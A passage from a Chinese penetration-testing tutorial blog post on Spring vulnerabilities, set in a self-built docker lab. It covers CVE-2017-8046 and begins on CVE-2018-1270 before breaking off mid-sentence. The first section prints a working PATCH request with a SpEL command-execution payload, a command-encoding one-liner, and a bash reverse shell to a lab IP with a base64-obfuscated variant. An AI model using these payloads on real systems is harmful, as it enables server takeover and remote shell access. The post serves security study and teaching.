【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

今天会讲解到学习Spring Data Rest远程命令执行命令(CVE-2017-8046)、pring Messaging远程命令执行突破(CVE-2018-1270)、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)、历史漏洞合集、本地安装问题等等操作,如果连Spring都不会安装操作提权等,怎么拿下对方服务器?

二、Spring渗透总结

接着《渗透测试之地基服务篇:服务攻防之框架Spring(上)》继续深入学习Spring!

1、Spring Data Rest远程命令执行命令(CVE-2017-8046)

Spring Data REST简介:

Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑。不管是关系型数据还是非关系型数据,利用相应接口,开发者可以使用非常简单的代码构建对数据的访问(当然,Spring Data还有很多特性和功能,感兴趣的可参考官方文档)。

回过头看Spring Data REST,它是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务,官方声称完成demo只需15分钟。

1)漏洞简介

(1)漏洞原理:

Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞(CVE-2017-8046)。攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。

https://tanzu.vmware.com/security/cve-2017-8046

(2)影响版本:

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

2)漏洞启动

(1)开启CVE-2017-8046漏洞
【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)

sudo docker-compose up -d

(2)验证是否开启
【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)1

sudo docker ps

3)漏洞复现

(1)访问靶机:
【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)2

http://192.168.253.7:8080/

即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

restful风格API:

https://www.jianshu.com/p/73d2415956bd

(2)验证漏洞是否存在

访问:

http://192.168.253.7:8080/customers/1

【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)3

看到一个资源,利用bp抓包,我们使用PATCH请求来修改之:

POC:

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)4

成功远程执行命令!

4)漏洞POC原理+反弹shell

(1)请求方法为PATCH,Content-Type为application/json-patch+json,那么数字编码是:(十进制编码)

",".join(map(str, (map(ord,"touch /tmp/dayutest"))))

【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)5
【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)6
可看到成功解析!

(2)反弹shell

bash -i >& /dev/tcp/192.168.253.65/8888 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My42NS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My42NS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"))))

【安全新闻】渗透测试之地基服务篇:服务攻防之框架Spring(下)7

2、Spring Messaging远程命令执行突破(CVE-2018-1270)

STOMP(Simple Text Orientated Messaging Protocol)全称为简单文本定向消息协议,它是一种在客户端与中转服务端(消息代理Broker)之间进行异步消息传输的简单通用协议,它定义了服务端与客户端之间的格式化文本传输方式。已经在被许多消息中间件与客户端工具所支持。STOMP协议规范:

https://stomp.github.io/stomp-specification-1.0.html

1)漏洞简介

(1)漏洞原理:

Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messages中,其允许客户端订阅消息,并使用selector过滤消息,selector用SpEL表达编写,并使用StandardEvaluationContext解析,攻击者可以通过构造恶意的消息来实现远程代码执行。

(2)漏洞条件

这次漏洞的触发的场景是Spring-Messaging + WebSocket + STOMP。这一句话里有三个要点:1.什么是Spring-Messaging? 2. 什么是WebSocket?3. 什么是STOMP?

1. Spring-Messaging:

Spring Messaging是Spring4.0为了集成JMS发布的一个新模块,为集成messaging API和消息协议提供支持,属于Spring Framework项目。其代码结构如下图所示:

spring-messaging模块  = base
					| converter
					| core
					| handler
					| simp
					| support
					| tcp

这个漏洞主要涉及simp部分。

这里我们需要引入消息代理和消息队列的概念。

1. WebSocket

WebSocket 协议提供了通过一个套接字实现全双工通信的功能。也能够实现 web浏览器和server间的异步通信,全双工意味着server与浏览器间可以发送和接收消息。

http://www.ruanyifeng.com/blog/2017/05/websocket.html

由于HTTP具有无状态,单向请求的特性,使得Server向Client推送消息变得非常繁琐,需要使用轮询的方式(定时一遍遍的询问服务器有没有新的消息),效率非常低,非常浪费资源。WebSocket就在这个时候应运而生。

比较通俗易懂的说,WebSocket就像聊天室模式。Client向Server发起建立WebSocket的请求,一旦建立成功,就像点开了微信的会话窗口。在这个会话中,Client可以说话,Server也可以说话。这样的模式下使Server向Client推送消息变得简单可行。

所以WebSocket是一种在一个TCP连接上能够全双工,双向通信的协议。它是一种与HTTP不同的协议,但是以HTTP作为载体的。主要使用80(ws://)和443(wss://)。

扩展:
WebSocket是如何建立一次连接的呢?

WebSocket的交互从一个带有Upgrade头的HTTP的HTTP Request开始,转换成WebSocket协议,向下面这样:

GET /spring-websocket-portfolio/portfolio HTTP/1.1
Host: localhost:8080
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: Uc9l9TMkWGbHFD2qnFHltg==
Sec-WebSocket-Protocol: v10.stomp, v11.stomp
Sec-WebSocket-Version: 13
Origin: http://localhost:8080

如果请求的端口支持WebSocket协议,返回101,表示成功建立一个WebSocket会话,向下面这样:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: 1qVdfYHU9hPOl4JYYNXF623Gzn0=
Sec-WebSocket-Protocol: v10.stomp

1. STOMP Over WebSocket
STOMP (Simple (or Streaming) Text Oriented Message Protocol ) 是一种在客户端与中转服务端之间进行异步消息传输的简单通用协议。它定义了服务端与客户端之间的格式化文本传输方式。

STOMP是一个简单的协议,这个协议可以有多种载体,可以通过HTTP,也可以通过WebSocket。在Spring-Message中使用的是STOMP Over WebSocket。
现在Client和Server已经有了一个会话。现在我们需要规定一种格式,能够让两边都理解说的是什么,这个东西就是通过STOMP来统一的。就好像在一个微信聊天里,我们规定聊天的双方都是用汉语交流,如果一个是用汉语,一个是用阿拉伯语,双方都不知道对方讲的是什么,那么这个天就聊不下去了。

STOMP && Mes

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论